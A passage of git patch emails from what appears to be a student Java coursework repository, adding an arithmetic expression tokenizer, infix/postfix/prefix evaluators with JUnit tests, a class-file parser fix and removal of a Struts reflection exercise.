+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+		
+		
+		 StringTokenizer st = new StringTokenizer(expr, "\\+|\\-|\\*|\\/|\\ ", true);  
+
+		  while(st.hasMoreElements()){  
+			  String  value=st.nextToken();
+			  //可能有空格
+			  if (isOperator(value)) {
+				tokens.add(new Token(Token.OPERATOR, value));
+			  }
+			  else if (isNumber(value)) {
+				tokens.add(new Token(Token.NUMBER, value));
+			  }
+		  }
+		
+		return tokens;
+	}
+
+	
+
+	private  boolean isOperator(String value) {
+		
+		return value.length()==1&&Token.OPERATORS.contains(value);
+	}
+	private  boolean isNumber(String value) {
+		
+		return value.matches("[0-9]+");
+	}
+	
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/expr/TokenParserTest.java b/group11/996108220/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..4ddb3669a6
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,40 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From af6c9ef9e92fef0bb1fee212788d1f380c9c3663 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Thu, 11 May 2017 21:32:02 +0800
Subject: [PATCH 253/262] the seventh homework --- infixExpr prefixExpr
 postfixExpr infixToPostfix

---
 group19/1294642551/src/expr/InfixExpr.java    | 136 +++---------------
 .../1294642551/src/expr/InfixToPostfix.java   |  52 +++++++
 group19/1294642551/src/expr/PostfixExpr.java  |  55 +++++++
 group19/1294642551/src/expr/PrefixExpr.java   |  69 +++++++++
 group19/1294642551/src/expr/Token.java        |  62 ++++++++
 group19/1294642551/src/expr/TokenParser.java  |  57 ++++++++
 .../1294642551/test/expr/InfixExprTest.java   |   1 -
 .../test/expr/InfixToPostfixTest.java         |  28 ++++
 .../1294642551/test/expr/PostfixExprTest.java |  41 ++++++
 .../1294642551/test/expr/PrefixExprTest.java  |  45 ++++++
 .../1294642551/test/expr/TokenParserTest.java |  40 ++++++
 11 files changed, 472 insertions(+), 114 deletions(-)
 create mode 100644 group19/1294642551/src/expr/InfixToPostfix.java
 create mode 100644 group19/1294642551/src/expr/PostfixExpr.java
 create mode 100644 group19/1294642551/src/expr/PrefixExpr.java
 create mode 100644 group19/1294642551/src/expr/Token.java
 create mode 100644 group19/1294642551/src/expr/TokenParser.java
 create mode 100644 group19/1294642551/test/expr/InfixToPostfixTest.java
 create mode 100644 group19/1294642551/test/expr/PostfixExprTest.java
 create mode 100644 group19/1294642551/test/expr/PrefixExprTest.java
 create mode 100644 group19/1294642551/test/expr/TokenParserTest.java

diff --git a/group19/1294642551/src/expr/InfixExpr.java b/group19/1294642551/src/expr/InfixExpr.java
index 2d53dd91ff..41593c9ea7 100644
--- a/group19/1294642551/src/expr/InfixExpr.java
+++ b/group19/1294642551/src/expr/InfixExpr.java
@@ -1,140 +1,50 @@
 package expr;
 
-import java.util.ArrayList;
+import java.util.List;
 import java.util.Stack;
 
-
-/**
- * 中序表达式求值：
- * 	1. 只支持加减乘除，不支持括号
- * 	2. 表达式中只支持int，但结果可能是float
- * 	3. 要求用两个栈来实现
- * @author 12946
- *
- */
 public class InfixExpr {
 	String expr = null;
 	
-	
 	public InfixExpr(String expr) {
 		this.expr = expr;
+		
 	}
 
 	public float evaluate() {
-		Stack<String> operatorStack = new Stack<String>();
-		Stack<Float> valueStack = new Stack<Float>();
-		String[] arr = toArr(expr);
-		inStack(operatorStack, valueStack, arr);
-		outStack(operatorStack, valueStack);
-		
-		if(valueStack.size() == 1){
-			return valueStack.peek();
-		}else{
-			throw new RuntimeException("数值栈中最后的元素个数不对");
-		}
+		List<Token> tokenList = TokenParser.parse(expr);
+		Stack<Token> operatorStack = new Stack<Token>();
+		Stack<Token> valueStack = new Stack<Token>();
 		
-	}
-	
-	// 将表达式字符串分解成数值和操作符的数组
-	public String[] toArr(String expr){
-		ArrayList<String> al = new ArrayList<String>();
-		for(int i = 0; i < expr.length(); i++){
-			char c = expr.charAt(i);
-			if(isOperator(c)){
-				al.add(c+"");
-			}
-		}
-		
-		for(int i = 0; i < expr.length(); i++){
-			char c = expr.charAt(i);
-			if(isOperator(c)){
-				expr = expr.replace(c, ',');
-			}
-		}
-		String[] arr = expr.split(",");
-		String[] totalArr = new String[2 * arr.length - 1];
-		for(int i = 0; i < totalArr.length; i++){
-			if(i % 2 == 0){
-				totalArr[i] = arr[i/2];
-			}else{
-				totalArr[i] = al.get((i-1)/2);
-			}
-		}
-		
-		return totalArr;
-	}
-
-	// 表达式入栈操作
-	public void inStack(Stack<String> operatorStack, Stack<Float> valueStack,
-			String[] arr) {
-		for(int i = 0; i < arr.length; i++){
-			if(isOperator(arr[i])){//新元素是操作符
-				if(operatorStack.size() == 0){//第一个操作符
-					operatorStack.push(arr[i]+"");
-				}else if(operatorStack.size() > 0){
-					while(priority(operatorStack.peek(), arr[i]+"") != -1){//第一个操作符的优先级>=第二个的
+		for(int i = 0; i < tokenList.size(); i++){
+			Token token = tokenList.get(i);
+			if(token.isOperator()){//新元素是操作符
+				if(operatorStack.isEmpty()){
+					operatorStack.push(token);
+				}else{
+					while(!token.hasHigherPriority(operatorStack.peek())){
 						popCompute(operatorStack, valueStack);
 						if(operatorStack.isEmpty()){
 							break;
 						}
 					}
-					operatorStack.push(arr[i]+"");//操作符入栈
+					operatorStack.push(token);
 				}
-				
-			}else{// 新元素是数值
-				float value = Float.valueOf(arr[i]+"");
-				valueStack.push(value);
+			}else{//新元素是数值
+				valueStack.push(token);
 			}
 			
+			
 		}
-	}
-	
-	// 出栈操作，将两个栈中的操作符和数值进行计算，当操作符栈为空时，数值栈的值就是最后的值
-	public void outStack(Stack<String> operatorStack, Stack<Float> valueStack){
+		
 		while(!operatorStack.isEmpty()){
 			popCompute(operatorStack, valueStack);
 		}
-	}
-	
-	public boolean isOperator(String c){
-		if(c.equals("+") || c.equals("-") || c.equals("*") || c.equals("/")){
-			return true;
-		}else{
-			return false;
-		}
-	}
-	
-	public boolean isOperator(char c){
-		if(c=='+' || c=='-' || c=='*' || c=='/'){
-			return true;
-		}else{
-			return false;
-		}
-	}
-	
-	// 第一个操作符的优先级 > 第二个操作符的优先级: 返回 1
-	// 第一个操作符的优先级 = 第二个操作符的优先级: 返回 0
-	// 第一个操作符的优先级 < 第二个操作符的优先级: 返回 -1
-	public int priority(String c1, String c2){
 		
-		if(c1.equals("+") || c1.equals("-")){
-			if(c2.equals("*") || c2.equals("/")){
-				return -1;
-			}else{
-				return 0;
-			}
-		}else{//(c1=='*' || c1=='/')
-			if(c2.equals("+") || c2.equals("-")){
-				return 1;
-			}else{
-				return 0;
-			}
-		}
 		
+		return valueStack.peek().getFloatValue();
 	}
 	
-
-	
 	// 计算加减乘除的结果
 	public float compute(float num1, float num2, String operator){
 		if(operator.equals("+")){
@@ -149,12 +59,12 @@ public float compute(float num1, float num2, String operator){
 	}
 	
 	// 弹栈计算，取一个操作符和两个操作数进行计算，并将得到的操作数压入数值栈
-	public void popCompute(Stack<String> operatorStack, Stack<Float> valueStack){
-		float num2 = valueStack.pop();
-		float num1 = valueStack.pop();
-		String operator = operatorStack.pop();
+	public void popCompute(Stack<Token> operatorStack, Stack<Token> valueStack){
+		float num2 = valueStack.pop().getFloatValue();
+		float num1 = valueStack.pop().getFloatValue();
+		String operator = operatorStack.pop().getOperator();
 		float value = compute(num1, num2, operator);
-		valueStack.push(value);
+		valueStack.push(new Token(1, String.valueOf(value)));
 
 	}
 	
diff --git a/group19/1294642551/src/expr/InfixToPostfix.java b/group19/1294642551/src/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..7645befd4b
--- /dev/null
+++ b/group19/1294642551/src/expr/InfixToPostfix.java
@@ -0,0 +1,52 @@
+package expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		List<Token> inList = TokenParser.parse(expr);
+		List<Token> postList = new ArrayList<Token>();
+		Stack<Token> operatorStack = new Stack<Token>();
+		for(int i = 0; i < inList.size(); i++){
+			Token token = inList.get(i);
+			if(token.isOperator()){
+				if(!operatorStack.isEmpty()){
+					while(!token.hasHigherPriority(operatorStack.peek())){
+						postList.add(operatorStack.pop());
+						if(operatorStack.isEmpty()){
+							break;
+						}
+					}
+				}
+				operatorStack.add(token);
+
+			}else{
+				postList.add(token);
+			}
+		}
+		
+		while(!operatorStack.isEmpty()){
+			postList.add(operatorStack.pop());
+		}
+		
+		
+		return postList;
+	}
+	
+	public static String toString(List<Token> tokenList){
+		StringBuilder sb = new StringBuilder();
+		for(int i = 0; i < tokenList.size(); i++){
+			sb.append(tokenList.get(i).getValue());
+			if(i < tokenList.size()-1){
+				sb.append(" ");
+			}
+		}
+		return sb.toString();
+	}
+	
+	
+
+}
diff --git a/group19/1294642551/src/expr/PostfixExpr.java b/group19/1294642551/src/expr/PostfixExpr.java
new file mode 100644
index 0000000000..1fb335fc9f
--- /dev/null
+++ b/group19/1294642551/src/expr/PostfixExpr.java
@@ -0,0 +1,55 @@
+package expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		List<Token> tokenList = TokenParser.parse(expr);
+		Stack<Token> operatorStack = new Stack<Token>();
+		Stack<Token> valueStack = new Stack<Token>();
+		for(int i = 0; i < tokenList.size(); i++){
+			Token token = tokenList.get(i);
+			if(token.isOperator()){
+				operatorStack.push(token);
+				popCompute(operatorStack, valueStack);
+			}else{
+				valueStack.push(token);
+			}
+			
+		}
+		
+		return valueStack.peek().getFloatValue();
+	}
+	
+	// 计算加减乘除的结果
+	public float compute(float num1, float num2, String operator){
+		if(operator.equals("+")){
+			return num1 + num2;
+		}else if(operator.equals("-")){
+			return num1 - num2;
+		}else if(operator.equals("*")){
+			return num1 * num2;
+		}else{
+			return num1 / num2;
+		}
+	}
+	
+	// 弹栈计算，取一个操作符和两个操作数进行计算，并将得到的操作数压入数值栈
+	public void popCompute(Stack<Token> operatorStack, Stack<Token> valueStack){
+		float num2 = valueStack.pop().getFloatValue();
+		float num1 = valueStack.pop().getFloatValue();
+		String operator = operatorStack.pop().getOperator();
+		float value = compute(num1, num2, operator);
+		valueStack.push(new Token(1, String.valueOf(value)));
+
+	}
+	
+	
+}
diff --git a/group19/1294642551/src/expr/PrefixExpr.java b/group19/1294642551/src/expr/PrefixExpr.java
new file mode 100644
index 0000000000..4afda30732
--- /dev/null
+++ b/group19/1294642551/src/expr/PrefixExpr.java
@@ -0,0 +1,69 @@
+package expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		List<Token> tokenList = TokenParser.parse(expr);
+		tokenList = reverse(tokenList);
+		Stack<Token> operatorStack = new Stack<Token>();
+		Stack<Token> valueStack = new Stack<Token>();
+		for(int i = 0; i < tokenList.size(); i++){
+			Token token = tokenList.get(i);
+			if(token.isOperator()){
+				operatorStack.push(token);
+				popCompute(operatorStack, valueStack);
+			}else{
+				valueStack.push(token);
+			}
+			
+		}
+		
+		return valueStack.peek().getFloatValue();
+	}
+	
+	public List<Token> reverse(List<Token> tokenList){
+		List<Token> newList = new ArrayList<Token>();
+		int size = tokenList.size();
+		for(int i = 0; i < size; i++){
+			newList.add(tokenList.get(size - 1 - i));
+		}
+		return newList;
+	}
+	
+	// 计算加减乘除的结果
+	public float compute(float num1, float num2, String operator){
+		if(operator.equals("+")){
+			return num1 + num2;
+		}else if(operator.equals("-")){
+			return num1 - num2;
+		}else if(operator.equals("*")){
+			return num1 * num2;
+		}else{
+			return num1 / num2;
+		}
+	}
+	
+	// 弹栈计算，取一个操作符和两个操作数进行计算，并将得到的操作数压入数值栈
+	// 注：在前缀表达式的计算中交换了第一个操作数和第二个操作数的位置，因为前缀表示式是从后向前遍历的
+	public void popCompute(Stack<Token> operatorStack, Stack<Token> valueStack){
+		float num2 = valueStack.pop().getFloatValue();
+		float num1 = valueStack.pop().getFloatValue();
+		String operator = operatorStack.pop().getOperator();
+		float value = compute(num2, num1, operator);//交换了操作数的位置
+		valueStack.push(new Token(1, String.valueOf(value)));
+
+	}
+	
+	
+	
+}
diff --git a/group19/1294642551/src/expr/Token.java b/group19/1294642551/src/expr/Token.java
new file mode 100644
index 0000000000..130aea44a3
--- /dev/null
+++ b/group19/1294642551/src/expr/Token.java
@@ -0,0 +1,62 @@
+package expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<String,Integer>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	
+	public float getFloatValue(){
+		return Float.valueOf(value);
+	}
+	
+	public String getValue(){
+		return value;
+	}
+	
+	public String getOperator(){
+		return value;
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group19/1294642551/src/expr/TokenParser.java b/group19/1294642551/src/expr/TokenParser.java
new file mode 100644
index 0000000000..110bdb1702
--- /dev/null
+++ b/group19/1294642551/src/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public static List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<Token>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+//				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private static int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private static boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group19/1294642551/test/expr/InfixExprTest.java b/group19/1294642551/test/expr/InfixExprTest.java
index 936682df20..5adcfc70ee 100644
--- a/group19/1294642551/test/expr/InfixExprTest.java
+++ b/group19/1294642551/test/expr/InfixExprTest.java
@@ -49,5 +49,4 @@ public void testEvaluate() {
 		
 	}
 
-
 }
diff --git a/group19/1294642551/test/expr/InfixToPostfixTest.java b/group19/1294642551/test/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..3f3bd31a93
--- /dev/null
+++ b/group19/1294642551/test/expr/InfixToPostfixTest.java
@@ -0,0 +1,28 @@
+package expr;
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		{
+//			InfixExpr expr = new InfixExpr("2+3*4+5");
+			String expr = "2+9/3-5";
+			Assert.assertEquals("2 9 3 / + 5 -", InfixToPostfix.toString(InfixToPostfix.convert(expr)));
+		}
+	}
+
+}
diff --git a/group19/1294642551/test/expr/PostfixExprTest.java b/group19/1294642551/test/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..c3bb438ac4
--- /dev/null
+++ b/group19/1294642551/test/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group19/1294642551/test/expr/PrefixExprTest.java b/group19/1294642551/test/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..9a4e8dae7d
--- /dev/null
+++ b/group19/1294642551/test/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group19/1294642551/test/expr/TokenParserTest.java b/group19/1294642551/test/expr/TokenParserTest.java
new file mode 100644
index 0000000000..b435de08f7
--- /dev/null
+++ b/group19/1294642551/test/expr/TokenParserTest.java
@@ -0,0 +1,40 @@
+package expr;
+
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+//		TokenParser parser = new TokenParser();
+		List<Token> tokens  = TokenParser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From c4c021ca9d3b472765af23ce7c3f06f67d741614 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Fri, 12 May 2017 11:41:19 +0800
Subject: [PATCH 254/262] changes of infixExpr

---
 group19/1294642551/src/expr/InfixExpr.java      | 5 +----
 group19/1294642551/src/expr/InfixToPostfix.java | 9 ++-------
 2 files changed, 3 insertions(+), 11 deletions(-)

diff --git a/group19/1294642551/src/expr/InfixExpr.java b/group19/1294642551/src/expr/InfixExpr.java
index 41593c9ea7..11970962bc 100644
--- a/group19/1294642551/src/expr/InfixExpr.java
+++ b/group19/1294642551/src/expr/InfixExpr.java
@@ -22,11 +22,8 @@ public float evaluate() {
 				if(operatorStack.isEmpty()){
 					operatorStack.push(token);
 				}else{
-					while(!token.hasHigherPriority(operatorStack.peek())){
+					while(!operatorStack.isEmpty() && !token.hasHigherPriority(operatorStack.peek())){
 						popCompute(operatorStack, valueStack);
-						if(operatorStack.isEmpty()){
-							break;
-						}
 					}
 					operatorStack.push(token);
 				}
diff --git a/group19/1294642551/src/expr/InfixToPostfix.java b/group19/1294642551/src/expr/InfixToPostfix.java
index 7645befd4b..24be56412c 100644
--- a/group19/1294642551/src/expr/InfixToPostfix.java
+++ b/group19/1294642551/src/expr/InfixToPostfix.java
@@ -13,13 +13,8 @@ public static List<Token> convert(String expr) {
 		for(int i = 0; i < inList.size(); i++){
 			Token token = inList.get(i);
 			if(token.isOperator()){
-				if(!operatorStack.isEmpty()){
-					while(!token.hasHigherPriority(operatorStack.peek())){
-						postList.add(operatorStack.pop());
-						if(operatorStack.isEmpty()){
-							break;
-						}
-					}
+				while(!operatorStack.isEmpty() && !token.hasHigherPriority(operatorStack.peek())){
+					postList.add(operatorStack.pop());
 				}
 				operatorStack.add(token);
 

From 7a6fd0d634ca089c50a53029085311f36cb5a7c2 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Fri, 12 May 2017 11:42:17 +0800
Subject: [PATCH 255/262] changes of classFileParser

---
 .../src/jvm/loader/ClassFileParser.java       |   2 +-
 .../1294642551/src/struts_Reflect/Struts.java | 142 ------------------
 2 files changed, 1 insertion(+), 143 deletions(-)
 delete mode 100644 group19/1294642551/src/struts_Reflect/Struts.java

diff --git a/group19/1294642551/src/jvm/loader/ClassFileParser.java b/group19/1294642551/src/jvm/loader/ClassFileParser.java
index 2eb1552c2e..3529f727bc 100644
--- a/group19/1294642551/src/jvm/loader/ClassFileParser.java
+++ b/group19/1294642551/src/jvm/loader/ClassFileParser.java
@@ -148,7 +148,7 @@ private void parseInterfaces(ByteCodeIterator iter) {
 	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
 		int fieldCount = iter.nextU2ToInt();
 		for(int i = 0; i < fieldCount; i++){
-			Field field = Field.parse(constantPool, iter);
+			Field field = Field.parse(clzFile.getConstantPool(), iter);
 			clzFile.addField(field);
 		}
 
diff --git a/group19/1294642551/src/struts_Reflect/Struts.java b/group19/1294642551/src/struts_Reflect/Struts.java
deleted file mode 100644
index 1694cf369c..0000000000
--- a/group19/1294642551/src/struts_Reflect/Struts.java
+++ /dev/null
@@ -1,142 +0,0 @@
-package struts_Reflect;
-
-import java.io.File;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-
-import org.dom4j.Attribute;
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-
-
-
-public class Struts {
-
-    public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
-
-        /*
-         
-		0. ��ȡ�����ļ�struts.xml
- 		
- 		1. ����actionName�ҵ����Ӧ��class �� ����LoginAction,   ͨ������ʵ��������������
-		��parameters�е����ݣ����ö����setter������ ����parameters�е������� 
-		("name"="test" ,  "password"="1234") ,     	
-		�Ǿ�Ӧ�õ��� setName��setPassword����
-		
-		2. ͨ��������ö����exectue ������ ����÷���ֵ������"success"
-		
-		3. ͨ�������ҵ����������getter���������� getMessage��,  
-		ͨ�����������ã� ��ֵ�������γ�һ��HashMap , ���� {"message":  "��¼�ɹ�"} ,  
-		�ŵ�View�����parameters
-		
-		4. ����struts.xml�е� <result> ����,�Լ�execute�ķ���ֵ��  ȷ����һ��jsp��  
-		�ŵ�View�����jsp�ֶ��С�
-        
-        *
-        */
-    	
-    	//�������������������className���ַ���
-    	String className = null;
-    	
-    	//---------����XML�ļ�---------------------------------------------------------------------------
-    	
-    	 // ����saxReader����  
-        SAXReader reader = new SAXReader();  
-        // ͨ��read������ȡһ���ļ� ת����Document����  
-        Document document = reader.read(new File("src/struts_Reflect/Struts.xml"));  
-        //��ȡ���ڵ�Ԫ�ض���  
-        Element root = document.getRootElement();  
-        //System.out.println("Root: " + root.getName());
-           
-        // ����������ȡԪ��name����ֵΪ��login����class���Ե�ֵ�����浽����className�С�
-        for (Iterator iter = root.elementIterator(); iter.hasNext();)
-        {
-            Element e = (Element) iter.next();
-            String name = e.attributeValue("name");
-            
-            if(name.equals("login"))
-            {
-            	className = e.attributeValue("class");
-            }
-                        
-        }
-        
-        //-----------�����ȡLoginAction���ʵ���������䷽��---------------------------------------------------------
-        
-        //��ȡʵ��
-        Class clazz = Class.forName("struts_Reflect.LoginAction");
-        Object obj = clazz.newInstance();
-        
-        //����setName �� setPassword����
-        Method mSetName = clazz.getMethod("setName", String.class);
-        Method mSetPassWord = clazz.getMethod("setPassword", String.class);
-        mSetName.invoke(obj, parameters.get("name"));
-        mSetPassWord.invoke(obj, parameters.get("password"));
-        
-        //����excute����
-        Method mExecute = clazz.getMethod("execute", null);
-        String result = (String) mExecute.invoke(obj, null);      
-        System.out.println(result);
-        
-        //�ҵ�����getter���������Ժ�ֵ�ŵ�parameterMap�С�
-        Method[] methods = clazz.getDeclaredMethods();
-//        HashMap<String, String> paraMap = new HashMap<String, String>();
-        
-    	ArrayList<String> al = new ArrayList<String>();
-    	al.add("name");
-    	al.add("password");
-    	al.add("message");
-    	String key = null;
-    	String value = null;
-    	Field field = null;
-    	
-    	for(int i = 0; i < al.size(); i++)
-    	{
-    		key = al.get(i);
-    		field = clazz.getDeclaredField(key);
-    		field.setAccessible(true);
-    		value = (String) field.get(obj);
-    		parameters.put(key, value);
-    		System.out.println(key+"---"+value);
-    	}
-    	
-    	
-    	
-    	View view = new View();
-    	view.setParameters(parameters);
-    	
-    	//----------��JSP�ֶηŵ�View������-------------------------------------
-    	
-    	//��ȡ����Ϊaction��Ԫ�ؽڵ�
-    	Element actionE = root.element("action");
-    	
-    	// ����������ȡԪ��result�е�����
-    	String rValue = null;
-    	
-        for (Iterator iter = actionE.elementIterator(); iter.hasNext();)
-        {
-            Element e = (Element) iter.next();
-            String name = e.attributeValue("name");
-            
-            if(name.equals(result))
-            {
-            	rValue = e.getText();
-            	view.setJsp(rValue);
-            	System.out.println(rValue);
-            }
-                        
-        }
-   
-    	return view;
- 
-    }  
-
-}
\ No newline at end of file

From 569fde0965a1f0a76ff1f33ecc559e98d0576a91 Mon Sep 17 00:00:00 2001
From: onlyliuxin <14703250@qq.com>
Date: Fri, 12 May 2017 17:16:53 +0800
Subject: [PATCH 256/262] =?UTF-8?q?JVM=E6=9C=80=E5=90=8E=E4=B8=80=E6=AC=A1?=
 =?UTF-8?q?=E8=AF=BE?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/stack/QuickMinStack.java |  3 +
 .../coderising/jvm/attr/ConstantValue.java    | 21 +++++
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  4 +
 .../com/coderising/jvm/cmd/CommandParser.java | 23 +++++-
 .../com/coderising/jvm/cmd/ComparisonCmd.java | 78 +++++++++++++++++++
 .../com/coderising/jvm/cmd/IncrementCmd.java  | 38 +++++++++
 .../src/com/coderising/jvm/field/Field.java   | 22 +++++-
 .../com/coderising/jvm/test/EmployeeV2.java   | 54 +++++++++++++
 .../src/com/coderising/jvm/test/Example.java  | 16 ++++
 .../coderising/jvm/test/HourlyEmployee.java   | 27 +++++++
 .../com/coderising/jvm/test/MiniJVMTest.java  |  2 +-
 11 files changed, 281 insertions(+), 7 deletions(-)
 create mode 100644 liuxin/mini-jvm/answer/src/com/coderising/jvm/attr/ConstantValue.java
 create mode 100644 liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/ComparisonCmd.java
 create mode 100644 liuxin/mini-jvm/answer/src/com/coderising/jvm/cmd/IncrementCmd.java
 create mode 100644 liuxin/mini-jvm/answer/src/com/coderising/jvm/test/EmployeeV2.java
